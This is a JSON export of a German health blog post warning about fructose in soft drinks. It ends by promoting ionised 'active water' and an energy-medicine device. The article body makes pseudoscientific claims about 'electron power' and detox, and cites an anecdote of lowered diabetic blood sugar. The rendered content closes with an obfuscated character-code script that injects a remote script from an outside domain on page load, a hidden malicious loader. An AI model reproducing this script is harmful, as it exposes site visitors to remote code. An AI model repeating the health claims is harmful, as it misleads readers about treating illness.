{"id":5239,"date":"2014-11-03T13:11:14","date_gmt":"2014-11-03T12:11:14","guid":{"rendered":"http:\/\/energiemedizin.de\/blog\/?p=5239"},"modified":"2016-02-08T09:39:36","modified_gmt":"2016-02-08T09:39:36","slug":"suse-lebenskiller","status":"publish","type":"post","link":"http:\/\/blog.energiemedizin.de\/?p=5239","title":{"rendered":"S\u00fc\u00dfe Lebenskiller"},"content":{"rendered":"<p><strong>Fructose in \u201cgesunden\u201d Softdrinks sch\u00e4digen<\/strong><br \/>\n<strong> (Dein) Herz, (Deinen) Kreislauf und (Deine) Leber.<\/strong><\/p>\n<p><strong>S\u00fc\u00dfgetr\u00e4nke wie Softdrinks machen nicht nur dick, sondern f\u00fchren auch zu vielen schwerwiegenden\u00a0Krankheiten. Zwar steckt in vielen Getr\u00e4nken der vermeintlich \u201cgesunde\u201d<\/strong><strong> <a href=\"http:\/\/themen.t-online.de\/news\/fruchtzucker\">Fruchtzucker<\/a>. Doch gerade der ist unges\u00fcnder als angenommen und sch\u00e4digt beispielsweise die <a href=\"http:\/\/themen.t-online.de\/news\/leber\">Leber<\/a>, wie neuere Studien zeigen. Einige Forscher\u00a0stufen Fruktose sogar als ebenso gef\u00e4hrlich ein wie <a href=\"http:\/\/themen.t-online.de\/news\/alkoholiker\">Alkohol<\/a> und <a href=\"http:\/\/themen.t-online.de\/news\/zigaretten\">Zigaretten<\/a>.<\/strong><\/p>\n<h3><strong>Die Zuckerfalle und Zucker als Volksdroge <\/strong><\/h3>\n<p><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/X84kSpa9SBg\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>Mehr zum Thema<\/p>\n<ul>\n<li><a href=\"http:\/\/www.t-online.de\/lifestyle\/gesundheit\/ernaehrung\/id_68460566\/zucker-verbraucherzentrale-kaempft-gegen-die-zuckerlobby.html\">Ungesunde S\u00fc\u00dfe: Verbraucherzentrale entkr\u00e4ftet Argumente der Zuckerlobby<\/a><\/li>\n<li><a href=\"http:\/\/www.t-online.de\/lifestyle\/gesundheit\/id_70967042\/zucker-bei-uebergewichtigen-wirkt-zucker-wie-gift.html\">Gef\u00e4hrliche Naschsucht: Zucker wirkt bei Dicken wie Gift<\/a><\/li>\n<li><a href=\"http:\/\/www.t-online.de\/lifestyle\/gesundheit\/id_70925236\/diabetes-bluthochdruck-fettleber-diese-krankheiten-toeten-leise.html\">Stille Killer: Diese Volkskrankheiten t\u00f6ten leise<\/a><\/li>\n<\/ul>\n<p>Durch S\u00fc\u00dfgetr\u00e4nke k\u00f6nnen t\u00e4glich bis weit \u00fcber 100 Gramm verschiedener Zuckerarten in unseren K\u00f6rper gelangen. Darunter auch Fruktose, also Fruchtzucker. Dieser ist ein nat\u00fcrliches, s\u00fc\u00df schmeckendes Kohlenhydrat. Er kommt in allen <a href=\"http:\/\/themen.t-online.de\/news\/fruechte\">Fr\u00fcchte<\/a>n und in Honig vor.<\/p>\n<p>Nimmt man mehr auf, als der K\u00f6rper verarbeiten kann, steigt der <a href=\"http:\/\/themen.t-online.de\/news\/blutzuckerspiegel\">Blutzuckerspiegel<\/a> und die <a href=\"http:\/\/themen.t-online.de\/news\/cholesterinwerte\">Cholesterinwerte<\/a> verschlechtern sich. Auch die Entz\u00fcndungsmarker im Blut steigen um das Doppelte an und das Risiko f\u00fcr Gef\u00e4\u00dfverkalkungen steigt. Dennoch erliegen viele Menschen dem Irrglauben, dass Fruchtzucker gesund sei. Sind auch Sie darauf hereingefallen?<\/p>\n<h3>Leberkiller \u00e4hnlich wie durch Alkohol<\/h3>\n<p>Studien der Arbeitskammer \u00d6sterreich zeigen, dass Fruchtzucker (Fruktose) bei gleicher Menge schneller dick macht als normaler Industriezucker. Und der K\u00f6rper hat mit diesem Biozucker ein weiteres Problem: Da wir ihn schlechter aufnehmen k\u00f6nnen als beispielsweise Glukose, wird er in der <a href=\"http:\/\/themen.t-online.de\/news\/leber\">Leber<\/a> zu <a href=\"http:\/\/themen.t-online.de\/news\/fett\">Fett<\/a> umgebaut und dort gespeichert.<\/p>\n<p>Bei \u00fcberm\u00e4\u00dfigem Konsum wird diese \u00fcberladen und vergiftet. Fruktose kann nur schwer abgebaut werden und f\u00f6rdert somit die nichtalkoholische <a href=\"http:\/\/themen.t-online.de\/news\/fettleber\">Fettleber<\/a>. Bei einer chronischen Entz\u00fcndung kann sich der Schaden sogar zu einer <a href=\"http:\/\/themen.t-online.de\/news\/leberzirrhose\">Leberzirrhose<\/a> ausweiten. Fruktose kann den Forschern zufolge \u00e4hnliche Sch\u00e4den verursachen wie Alkohol, darunter Leber- sowie Herz- und Gef\u00e4\u00dfsch\u00e4den.<\/p>\n<h3>Altersdiabetes auch in jungen Jahren<\/h3>\n<p>Ein weiterer Nachteil ist, dass Fruktose kein S\u00e4ttigungsgef\u00fchl ausl\u00f6st. Au\u00dferdem wird der Zucker aus den <a href=\"http:\/\/rezepte.t-online.de\/rezepte\/kategorien\/getraenke\">Getr\u00e4nke<\/a>n besonders schnell aufgenommen, der Blutzuckerspiegel schie\u00dft somit in die H\u00f6he. Anschlie\u00dfend sinkt er wieder stark ab. Die Folgen sind Hei\u00dfhunger und Leistungstiefs. Somit haben Menschen, die mehr als eine zuckerhaltige Limonade am Tag trinken, <u>ein doppelt so hohes Risiko zuckerkrank zu werden<\/u> als solche, die nur ein Mal im Monat zu dem s\u00fc\u00dfen Getr\u00e4nk greifen.<\/p>\n<p>Mit jedem 354-Milliliter-Glas zuckerhaltige Limonade steigt die Wahrscheinlichkeit deutlich, dass ein Mensch an Typ-2-<a href=\"http:\/\/www.t-online.de\/lifestyle\/gesundheit\/diabetes\/id_64422826\/diabetes-informationen-tipps-und-ratgeber-rund-um-diabetes-.html\">Diabetes<\/a> erkrankt. Bei dieser Form des Diabetes \u2013 fr\u00fcher h\u00e4ufig Altersdiabetes genannt \u2013 gilt falsche <a href=\"http:\/\/themen.t-online.de\/news\/ernaehrung\">Ern\u00e4hrung<\/a> als die Hauptursache. Jemand, der im Schnitt ein Glas Zuckerlimo t\u00e4glich trinkt, entwickelte demnach im Durchschnitt 22 Prozent h\u00e4ufiger den Diabetestyp als jemand, der keine Zuckerlimo trinkt.<\/p>\n<h3>69 Prozent h\u00f6heres Risiko f\u00fcr Herzinfarkt<\/h3>\n<p>Je mehr S\u00fc\u00dfgetr\u00e4nke jemand zu sich nimmt, umso anf\u00e4lliger wird er f\u00fcr Herzkrankheiten. Bereits ein s\u00fc\u00dfes Getr\u00e4nk pro Tag erh\u00f6ht das <a href=\"http:\/\/www.t-online.de\/lifestyle\/gesundheit\/id_64333640\/aktuelle-informationen-rund-um-herzinfarkt-und-herz-kreislauf-krankheiten.html\">Herzinfarkt<\/a>-Risiko bei M\u00e4nnern um 20 Prozent. Bei zwei gezuckerten Softdrinks (je 350 ml) steigt das Risiko laut einer <a href=\"http:\/\/themen.t-online.de\/news\/studie\">Studie<\/a> der Harvard Universit\u00e4t auf 42 Prozent, bei drei Getr\u00e4nken auf 69 Prozent. Zu viel Zucker im K\u00f6rper wird zu Fett, den Triglyceriden, umgebaut. Dadurch steigt das Risiko f\u00fcr einen Herzinfarkt oder auch einen <a href=\"http:\/\/www.t-online.de\/lifestyle\/gesundheit\/id_61269114\/schlaganfall-infos-zu-behandlung-therapie-zum-schlaganfall-vorbeugen.html\">Schlaganfall<\/a>. Bei extrem erh\u00f6hten Werten wird das Blut dickfl\u00fcssiger, das <a href=\"http:\/\/themen.t-online.de\/news\/gehirn\">Gehirn<\/a> wird schlechter durchblutet und es droht eine akute Entz\u00fcndung der Bauchspeicheldr\u00fcse.<\/p>\n<h3>Getr\u00e4nke mit hohem Fruktose-Gehalt erh\u00f6hen Gichtrisiko<\/h3>\n<p>Ebenso steigert der Konsum von einem Limonadengetr\u00e4nk pro Tag das <a href=\"http:\/\/www.t-online.de\/ratgeber\/gesundheit\/krankheiten\/id_68336450\/gicht-durch-zu-viel-harnsaeure-alles-ueber-symptome-und-behandlung.html\">Gicht<\/a>risiko im Vergleich zu weitgehender Abstinenz um 74 Prozent, zwei solche Getr\u00e4nke sogar um mehr als das Doppelte. In den letzten Jahren hat die Zahl der Gichterkrankungen zugenommen. Forscher machen daf\u00fcr auch den gestiegenen Konsum von ges\u00fc\u00dften Erfrischungsgetr\u00e4nken verantwortlich. \u201cGetr\u00e4nke mit hohem Fruktose-Gehalt wie Limonaden und <a href=\"http:\/\/themen.t-online.de\/news\/orangensaft\">Orangensaft<\/a> k\u00f6nnen die Harns\u00e4urewerte und damit das Gichtrisiko erh\u00f6hen\u201d, schreibt das Fachblatt \u201cJAMA\u201d.<\/p>\n<h3>Zuckersucht \u2013 der heimliche Killer<\/h3>\n<p><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/dTO8GSCiZpI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><br \/>\nEine Buchempfehlung<\/p>\n<p>&nbsp;<\/p>\n<h3>Di\u00e4t-Getr\u00e4nke nicht automatisch besser<\/h3>\n<p>Sind Light-Produkte also die bessere Alternative? Experten sind sich dar\u00fcber uneinig. Pers\u00f6nlich halte ich Sie f\u00fcr mindestens ebenso problematisch. Softdrinks sollten generell nicht als Durstl\u00f6scher dienen, raten Gesundheitsexperten.<\/p>\n<h3>Die wirklich einfache L\u00f6sung beim Trinken<\/h3>\n<p>Wasser und unges\u00fc\u00dfte Tee\u2019s (gr\u00fcner Tee, Kr\u00e4utertee) sind ideale Durstl\u00f6scher \u2013 einfach weil kalorienfrei. Wenn Sie auf Fruchts\u00e4fte nicht verzichten wollen, verwenden Sie diese Produkte mit hohem Zuckeranteil sehr sparsam und verd\u00fcnnen Sie diese stark.<\/p>\n<p>Wenn Sie die vom Wasser mehr erwarten als nur ein kalorienfreies Getr\u00e4nk und oder Sie nicht ausreichend trinken, dann <a href=\"http:\/\/hoermann.aquion.de\/\">trinken Sie in Zukunft doch einfach intelligent<\/a>. Machen Sie aus Ihrem Trinkwasser durch eine elektrische Aktivierung ein echtes Lebenselixier. Ionisiertes Wasser bringt neben seiner enormen <a href=\"http:\/\/www.hoermann.aquion.de\/wirkung\">Elektronenkraft<\/a> (Lebensenergiepartikeln) vorallem auch einen Mehrwert f\u00fcr die <a href=\"http:\/\/www.hoermann.aquion.de\/wirkung\">S\u00e4ure-Basen-Bilanz <\/a>und eine deutliche Unterst\u00fctzung zur Entgiftung.<\/p>\n<p>(Quellen: div. \/ u. a. Thinkstock by Getty-Images)<\/p>\n<p>Eingestellt von <a href=\"http:\/\/wasser-fuers-leben.blogspot.de\/2014\/10\/sue-lebenskiller.html\">Kurt H\u00f6rmann<\/a><\/p>\n<p><strong><img decoding=\"async\" loading=\"lazy\" class=\"alignleft size-full wp-image-5349\" src=\"http:\/\/blog.energiemedizin.de\/wp-content\/uploads\/2014\/12\/2461-information-symbol.jpg\" alt=\"2461-information-symbol\" width=\"150\" height=\"150\" \/><\/strong><\/p>\n<p><strong><br \/>\n<span style=\"color: #000000;\">Wir wissen seit vielen Jahren, dass die Behandlung mit dem <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"http:\/\/www.energiemedizin.de\/perth.html\"><em>PERTH-System nach Dr. Werner<sup>\u00ae<\/sup><\/em><\/a> <\/span>zur optimalen Wirkung immer kombiniert sein sollte mit: Der regelm\u00e4\u00dfigen Gabe von nat\u00fcrlichen Vitaminen, einer Erg\u00e4nzung von Mineralien und Spurenelementen und mit dem Trinken von ausreichend<span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"http:\/\/bit.ly\/16H7zA4\"> gutem Wasser<\/a> <\/span>\u2013 besonders vor und nach der Behandlung.<\/span><\/strong><span style=\"color: #000000;\"><strong><br \/>\n<strong>Sie k\u00f6nnen zu dem Thema Wasser gerne<span style=\"color: #3366ff;\"> <a href=\"http:\/\/blog.energiemedizin.de\/?page_id=3858\" target=\"_blank\">unsere Seite<\/a> <\/span>auf diesem Blog besuchen. Dort finden Sie auch den Termin zum n\u00e4chsten Webinar, zu dem ich Sie herzlich einladen m\u00f6chte, damit Sie auch von der Wirkung des Wassers profitieren k\u00f6nnen. M\u00f6chten Sie mehr zum wichtigen Thema Wasser erfahren, schauen <a href=\"http:\/\/blog.energiemedizin.de\/?page_id=3858\" target=\"_blank\"><span style=\"color: #3366ff;\">Sie hier\u2026<\/span><\/a><\/strong><br \/>\n<strong>Wir nutzen das Aquion-Aktivwasser seit 1 1\/2 Jahren und haben bemerkt, dass wir mehr trinken und sich meine Zuckerwerte (Ich bin Diabetiker Typ 2) leicht gesenkt haben. Weitere Infos dazu k\u00f6nnen Sie auf dieser Webseite<a href=\"http:\/\/steffan.aquion.de\" target=\"_blank\"> <span style=\"color: #3366ff;\">Aquion <\/span><\/a>erfahren oder fordern Sie das Material dazu <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"http:\/\/blog.energiemedizin.de\/impressum-2\/\" target=\"_blank\">hier an\u2026<\/a><\/span><\/strong><\/strong><\/span><\/p>\n<p><span style=\"color: #000000;\"><strong>Achim Steffan &amp; Team<\/strong><\/span><\/p>\n<p>&nbsp;<\/p>\n<p>Schlagw\u00f6rter: <a href=\"http:\/\/energiemedizin.de\/blog\/?tag=herzinfrakt\">Herzinfrakt<\/a>, <a href=\"http:\/\/energiemedizin.de\/blog\/?tag=zucker\">Zucker<\/a><br \/>\nCategory: <a href=\"http:\/\/energiemedizin.de\/blog\/?cat=84\">Ern\u00e4hrung<\/a>, <a href=\"http:\/\/energiemedizin.de\/blog\/?cat=156\">Gesundes Wasser<\/a>, <a href=\"http:\/\/energiemedizin.de\/blog\/?cat=6\">Gesundheit<\/a>\u00a0\u00a0|\u00a0 <a href=\"http:\/\/energiemedizin.de\/blog\/?p=5239#respond\">Kommentar<\/a><\/p>\n<p>&nbsp;<script type=text\/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,56);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Fructose in \u201cgesunden\u201d Softdrinks sch\u00e4digen (Dein) Herz, (Deinen) Kreislauf und (Deine) Leber. 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